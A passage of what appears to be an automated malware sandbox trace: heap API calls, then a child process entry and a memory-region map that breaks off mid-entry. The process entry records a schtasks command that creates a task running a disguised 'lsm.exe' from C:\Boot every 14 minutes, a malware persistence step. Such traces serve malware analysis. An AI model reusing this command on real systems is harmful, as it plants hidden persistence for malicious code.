[0082.929] GetProcessHeap () returned 0x140000 [0082.929] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155c80) returned 1 [0082.929] GetProcessHeap () returned 0x140000 [0082.930] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155c80) returned 0x20 [0082.930] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155c80 | out: hHeap=0x140000) returned 1 [0082.930] GetProcessHeap () returned 0x140000 [0082.930] GetProcessHeap () returned 0x140000 [0082.930] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15bbd0) returned 1 [0082.930] GetProcessHeap () returned 0x140000 [0082.930] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15bbd0) returned 0x2 [0082.930] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15bbd0 | out: hHeap=0x140000) returned 1 [0082.930] GetProcessHeap () returned 0x140000 [0082.930] GetProcessHeap () returned 0x140000 [0082.930] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155ad0) returned 1 [0082.931] GetProcessHeap () returned 0x140000 [0082.931] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155ad0) returned 0x20 [0082.931] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155ad0 | out: hHeap=0x140000) returned 1 [0082.931] GetProcessHeap () returned 0x140000 [0082.931] GetProcessHeap () returned 0x140000 [0082.931] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155b00) returned 1 [0082.931] GetProcessHeap () returned 0x140000 [0082.931] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155b00) returned 0x20 [0082.932] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155b00 | out: hHeap=0x140000) returned 1 [0082.932] GetProcessHeap () returned 0x140000 [0082.932] GetProcessHeap () returned 0x140000 [0082.932] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155b30) returned 1 [0082.932] GetProcessHeap () returned 0x140000 [0082.932] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155b30) returned 0x20 [0082.933] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155b30 | out: hHeap=0x140000) returned 1 [0082.933] GetProcessHeap () returned 0x140000 [0082.933] GetProcessHeap () returned 0x140000 [0082.933] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155b60) returned 1 [0082.933] GetProcessHeap () returned 0x140000 [0082.933] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155b60) returned 0x20 [0082.933] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155b60 | out: hHeap=0x140000) returned 1 [0082.933] GetProcessHeap () returned 0x140000 [0082.933] GetProcessHeap () returned 0x140000 [0082.933] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cd60) returned 1 [0082.933] GetProcessHeap () returned 0x140000 [0082.933] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cd60) returned 0x20 [0082.934] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cd60 | out: hHeap=0x140000) returned 1 [0082.934] GetProcessHeap () returned 0x140000 [0082.934] GetProcessHeap () returned 0x140000 [0082.934] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d820) returned 1 [0082.934] GetProcessHeap () returned 0x140000 [0082.934] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d820) returned 0xa [0082.934] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d820 | out: hHeap=0x140000) returned 1 [0082.935] GetProcessHeap () returned 0x140000 [0082.935] GetProcessHeap () returned 0x140000 [0082.935] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cd90) returned 1 [0082.935] GetProcessHeap () returned 0x140000 [0082.935] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cd90) returned 0x20 [0082.935] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cd90 | out: hHeap=0x140000) returned 1 [0082.935] GetProcessHeap () returned 0x140000 [0082.935] GetProcessHeap () returned 0x140000 [0082.935] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x157c70) returned 1 [0082.935] GetProcessHeap () returned 0x140000 [0082.935] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x157c70) returned 0x30 [0082.936] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x157c70 | out: hHeap=0x140000) returned 1 [0082.936] GetProcessHeap () returned 0x140000 [0082.936] GetProcessHeap () returned 0x140000 [0082.936] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cdc0) returned 1 [0082.936] GetProcessHeap () returned 0x140000 [0082.936] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cdc0) returned 0x20 [0082.936] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cdc0 | out: hHeap=0x140000) returned 1 [0082.937] GetProcessHeap () returned 0x140000 [0082.937] GetProcessHeap () returned 0x140000 [0082.937] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x157cb0) returned 1 [0082.937] GetProcessHeap () returned 0x140000 [0082.937] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x157cb0) returned 0x30 [0082.937] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x157cb0 | out: hHeap=0x140000) returned 1 [0082.937] GetProcessHeap () returned 0x140000 [0082.937] GetProcessHeap () returned 0x140000 [0082.938] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cfd0) returned 1 [0082.938] GetProcessHeap () returned 0x140000 [0082.938] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cfd0) returned 0x20 [0082.938] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cfd0 | out: hHeap=0x140000) returned 1 [0082.938] GetProcessHeap () returned 0x140000 [0082.938] GetProcessHeap () returned 0x140000 [0082.938] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d740) returned 1 [0082.938] GetProcessHeap () returned 0x140000 [0082.938] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d740) returned 0x10 [0082.939] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d740 | out: hHeap=0x140000) returned 1 [0082.939] GetProcessHeap () returned 0x140000 [0082.939] GetProcessHeap () returned 0x140000 [0082.939] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cfa0) returned 1 [0082.939] GetProcessHeap () returned 0x140000 [0082.939] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cfa0) returned 0x20 [0082.939] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cfa0 | out: hHeap=0x140000) returned 1 [0082.939] GetProcessHeap () returned 0x140000 [0082.939] GetProcessHeap () returned 0x140000 [0082.940] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d760) returned 1 [0082.940] GetProcessHeap () returned 0x140000 [0082.940] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d760) returned 0x10 [0082.940] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d760 | out: hHeap=0x140000) returned 1 [0082.940] GetProcessHeap () returned 0x140000 [0082.940] GetProcessHeap () returned 0x140000 [0082.940] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cf70) returned 1 [0082.940] GetProcessHeap () returned 0x140000 [0082.940] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cf70) returned 0x20 [0082.940] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cf70 | out: hHeap=0x140000) returned 1 [0082.940] GetProcessHeap () returned 0x140000 [0082.940] GetProcessHeap () returned 0x140000 [0082.940] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d780) returned 1 [0082.940] GetProcessHeap () returned 0x140000 [0082.941] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d780) returned 0xe [0082.941] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d780 | out: hHeap=0x140000) returned 1 [0082.941] GetProcessHeap () returned 0x140000 [0082.941] GetProcessHeap () returned 0x140000 [0082.941] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cf40) returned 1 [0082.941] GetProcessHeap () returned 0x140000 [0082.941] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cf40) returned 0x20 [0082.941] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cf40 | out: hHeap=0x140000) returned 1 [0082.941] GetProcessHeap () returned 0x140000 [0082.941] GetProcessHeap () returned 0x140000 [0082.941] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d7a0) returned 1 [0082.941] GetProcessHeap () returned 0x140000 [0082.941] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d7a0) returned 0x16 [0082.941] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d7a0 | out: hHeap=0x140000) returned 1 [0082.941] GetProcessHeap () returned 0x140000 [0082.941] GetProcessHeap () returned 0x140000 [0082.941] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cf10) returned 1 [0082.942] GetProcessHeap () returned 0x140000 [0082.942] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cf10) returned 0x20 [0082.942] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cf10 | out: hHeap=0x140000) returned 1 [0082.942] GetProcessHeap () returned 0x140000 [0082.942] GetProcessHeap () returned 0x140000 [0082.942] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d7c0) returned 1 [0082.942] GetProcessHeap () returned 0x140000 [0082.942] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d7c0) returned 0x16 [0082.942] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d7c0 | out: hHeap=0x140000) returned 1 [0082.942] GetProcessHeap () returned 0x140000 [0082.942] GetProcessHeap () returned 0x140000 [0082.942] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cee0) returned 1 [0082.942] GetProcessHeap () returned 0x140000 [0082.942] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cee0) returned 0x20 [0082.943] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cee0 | out: hHeap=0x140000) returned 1 [0082.943] GetProcessHeap () returned 0x140000 [0082.943] GetProcessHeap () returned 0x140000 [0082.943] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x176f10) returned 1 [0082.943] GetProcessHeap () returned 0x140000 [0082.943] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x176f10) returned 0x82 [0082.944] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x176f10 | out: hHeap=0x140000) returned 1 [0082.944] GetProcessHeap () returned 0x140000 [0082.944] GetProcessHeap () returned 0x140000 [0082.944] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15ceb0) returned 1 [0082.944] GetProcessHeap () returned 0x140000 [0082.944] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15ceb0) returned 0x20 [0082.944] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15ceb0 | out: hHeap=0x140000) returned 1 [0082.945] GetProcessHeap () returned 0x140000 [0082.945] GetProcessHeap () returned 0x140000 [0082.945] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d800) returned 1 [0082.945] GetProcessHeap () returned 0x140000 [0082.945] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d800) returned 0xe [0082.945] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d800 | out: hHeap=0x140000) returned 1 [0082.945] GetProcessHeap () returned 0x140000 [0082.945] GetProcessHeap () returned 0x140000 [0082.945] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15ce80) returned 1 [0082.945] GetProcessHeap () returned 0x140000 [0082.945] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15ce80) returned 0x20 [0082.945] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15ce80 | out: hHeap=0x140000) returned 1 [0082.945] GetProcessHeap () returned 0x140000 [0082.945] GetProcessHeap () returned 0x140000 [0082.945] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15bbf0) returned 1 [0082.945] GetProcessHeap () returned 0x140000 [0082.945] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15bbf0) returned 0x18 [0082.945] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15bbf0 | out: hHeap=0x140000) returned 1 [0082.946] GetProcessHeap () returned 0x140000 [0082.946] GetProcessHeap () returned 0x140000 [0082.946] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155b90) returned 1 [0082.946] GetProcessHeap () returned 0x140000 [0082.946] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155b90) returned 0x20 [0082.946] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155b90 | out: hHeap=0x140000) returned 1 [0082.946] GetProcessHeap () returned 0x140000 [0082.946] GetProcessHeap () returned 0x140000 [0082.946] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155bc0) returned 1 [0082.946] GetProcessHeap () returned 0x140000 [0082.946] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155bc0) returned 0x20 [0082.947] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155bc0 | out: hHeap=0x140000) returned 1 [0082.947] GetProcessHeap () returned 0x140000 [0082.947] GetProcessHeap () returned 0x140000 [0082.947] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155bf0) returned 1 [0082.947] GetProcessHeap () returned 0x140000 [0082.947] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155bf0) returned 0x20 [0082.948] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155bf0 | out: hHeap=0x140000) returned 1 [0082.948] GetProcessHeap () returned 0x140000 [0082.948] GetProcessHeap () returned 0x140000 [0082.948] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155c20) returned 1 [0082.948] GetProcessHeap () returned 0x140000 [0082.948] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155c20) returned 0x20 [0082.949] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155c20 | out: hHeap=0x140000) returned 1 [0082.949] GetProcessHeap () returned 0x140000 [0082.949] GetProcessHeap () returned 0x140000 [0082.949] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15bc10) returned 1 [0082.949] GetProcessHeap () returned 0x140000 [0082.949] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15bc10) returned 0x18 [0082.949] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15bc10 | out: hHeap=0x140000) returned 1 [0082.949] GetProcessHeap () returned 0x140000 [0082.949] GetProcessHeap () returned 0x140000 [0082.949] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155c50) returned 1 [0082.949] GetProcessHeap () returned 0x140000 [0082.949] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155c50) returned 0x20 [0082.949] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155c50 | out: hHeap=0x140000) returned 1 [0082.949] GetProcessHeap () returned 0x140000 [0082.949] GetProcessHeap () returned 0x140000 [0082.950] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155ce0) returned 1 [0082.950] GetProcessHeap () returned 0x140000 [0082.950] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155ce0) returned 0x20 [0082.950] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155ce0 | out: hHeap=0x140000) returned 1 [0082.950] GetProcessHeap () returned 0x140000 [0082.950] GetProcessHeap () returned 0x140000 [0082.950] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155d40) returned 1 [0082.950] GetProcessHeap () returned 0x140000 [0082.950] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155d40) returned 0x20 [0082.951] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155d40 | out: hHeap=0x140000) returned 1 [0082.951] GetProcessHeap () returned 0x140000 [0082.951] GetProcessHeap () returned 0x140000 [0082.951] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155da0) returned 1 [0082.951] GetProcessHeap () returned 0x140000 [0082.951] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155da0) returned 0x20 [0082.951] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155da0 | out: hHeap=0x140000) returned 1 [0082.951] GetProcessHeap () returned 0x140000 [0082.951] GetProcessHeap () returned 0x140000 [0082.951] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155dd0) returned 1 [0082.951] GetProcessHeap () returned 0x140000 [0082.952] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155dd0) returned 0x20 [0082.952] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155dd0 | out: hHeap=0x140000) returned 1 [0082.952] GetProcessHeap () returned 0x140000 [0082.952] GetProcessHeap () returned 0x140000 [0082.952] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15bc30) returned 1 [0082.952] GetProcessHeap () returned 0x140000 [0082.952] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15bc30) returned 0x18 [0082.952] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15bc30 | out: hHeap=0x140000) returned 1 [0082.952] GetProcessHeap () returned 0x140000 [0082.952] GetProcessHeap () returned 0x140000 [0082.952] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155d10) returned 1 [0082.953] GetProcessHeap () returned 0x140000 [0082.953] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155d10) returned 0x20 [0082.953] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155d10 | out: hHeap=0x140000) returned 1 [0083.023] GetProcessHeap () returned 0x140000 [0083.023] GetProcessHeap () returned 0x140000 [0083.023] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15bbb0) returned 1 [0083.023] GetProcessHeap () returned 0x140000 [0083.023] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15bbb0) returned 0x18 [0083.023] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15bbb0 | out: hHeap=0x140000) returned 1 [0083.023] exit (_Code=0) Thread: id = 182 os_tid = 0xd10 Process: id = "51" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3d3a6000" os_pid = "0xd08" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"lsml\" /sc MINUTE /mo 14 /tr \"'C:\\Boot\\fr-FR\\lsm.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4055 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4056 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4057 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4058 start_va = 0x1e0000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 4059 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4060 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4061 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4062 start_va = 0xff900000 end_va = 0xff947fff monitored = 1 entry_point = 0xff92966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 4063 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4064 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4065 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 4066 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 4067 start_va = 0x260000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 4068 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4069 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4070 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4071 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4072 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4073 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4074 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4075 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4076 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4077 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4115 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4116 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4117 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4118 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4119 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4120 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 4121 start_va = 0x460000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 4122 start_va = 0xc0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 4123 start_va = 0x260000 end_va = 0x288fff monitored = 0 entry_point = 0x261010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4124 start_va = 0x360000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 4125 start_va = 0x460000 end_va = 0x5e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4126 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 4127 start_va = 0x260000 end_va = 0x288fff monitored = 0 entry_point = 0x261010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4128 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4129 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4130 start_va = 0x600000 end_va = 0x780fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 4131 start_va = 0x790000 end_va = 0x1b8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000790000" filename = "" Region: id = 4132 start_va = 0x1c0000 end_va = 0x1d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 4133 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4134 start_va = 0x260000 end_va = 0x260fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 4135 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4136 start_va = 0x1b90000 end_va = 0x1e5efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: 